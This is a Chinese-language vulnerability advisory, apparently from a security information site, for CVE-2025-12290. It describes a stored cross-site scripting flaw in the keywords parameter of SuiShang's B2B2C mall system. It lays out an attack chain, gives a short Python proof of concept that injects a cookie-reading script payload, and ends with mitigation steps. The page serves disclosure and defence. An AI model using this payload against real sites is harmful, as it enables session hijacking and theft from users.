IPBUF安全漏洞报告
English
CVE-2025-12290 CVSS 4.3 中危

CVE-2025-12290 SuiShang多商户商城系统跨站脚本漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12290
漏洞类型
XSS跨站脚本攻击
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Sui Shang Information Technology Suishang Enterprise-Level B2B2C Multi-User Mall System 1.0

相关标签

XSS跨站脚本Stored XSSCVE-2025-12290SuishangB2B2C商城Web应用漏洞输入验证不足

漏洞概述

CVE-2025-12290是SuiShang(遂商)企业级B2B2C多商户商城系统1.0版本中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于文件/i/359的keywords参数处理中,攻击者可以通过在keywords参数中注入恶意JavaScript脚本,当其他用户访问包含该参数的页面时,恶意脚本将在用户浏览器中执行。这可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全风险。由于该漏洞被公开披露且厂商未做出响应,建议用户立即采取防护措施。

技术细节

该漏洞为存储型XSS(Stored Cross-Site Scripting)漏洞,攻击者利用系统对用户输入的keywords参数未进行充分过滤和转义,将恶意JavaScript代码存储到服务器端。当其他用户访问相关页面时,这些恶意代码会被浏览器解析执行。攻击者可以利用此漏洞窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或植入恶意重定向。由于攻击可通过网络远程发起(AV:N),无需认证(PR:N),但需要诱导用户访问特定页面(UI:R),因此CVSS评分为4.3分。漏洞存在于/i/359接口,该接口可能用于商品搜索或列表展示功能。

攻击链分析

STEP 1
步骤1
攻击者构造恶意XSS payload,包含JavaScript代码
STEP 2
步骤2
通过GET请求将payload发送至/i/359接口的keywords参数
STEP 3
步骤3
服务器未对输入进行过滤,将恶意代码存储到数据库
STEP 4
步骤4
受害用户访问包含恶意代码的页面
STEP 5
步骤5
受害者浏览器解析执行恶意JavaScript,窃取cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-12290 XSS PoC # Target: SuiShang B2B2C Multi-User Mall System 1.0 # Endpoint: /i/359 target_url = "http://target.com/i/359" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" params = { "keywords": xss_payload } try: response = requests.get(target_url, params=params) if xss_payload in response.text: print("[+] XSS payload stored successfully!") print("[+] Visit the page to trigger the XSS") else: print("[-] XSS may not be reflected") except requests.RequestException as e: print(f"[-] Request failed: {e}")

影响范围

Suishang Enterprise-Level B2B2C Multi-User Mall System 1.0

防御指南

临时缓解措施
在厂商未提供官方修复的情况下,可通过以下方式临时缓解:1)在前端和后端同时对keywords等用户输入参数进行严格的HTML特殊字符转义;2)部署Web应用防火墙(WAF)规则拦截XSS攻击特征;3)限制用户输入长度和字符类型;4)启用浏览器的XSS过滤器功能;5)监控应用日志关注异常的script标签和JavaScript代码模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表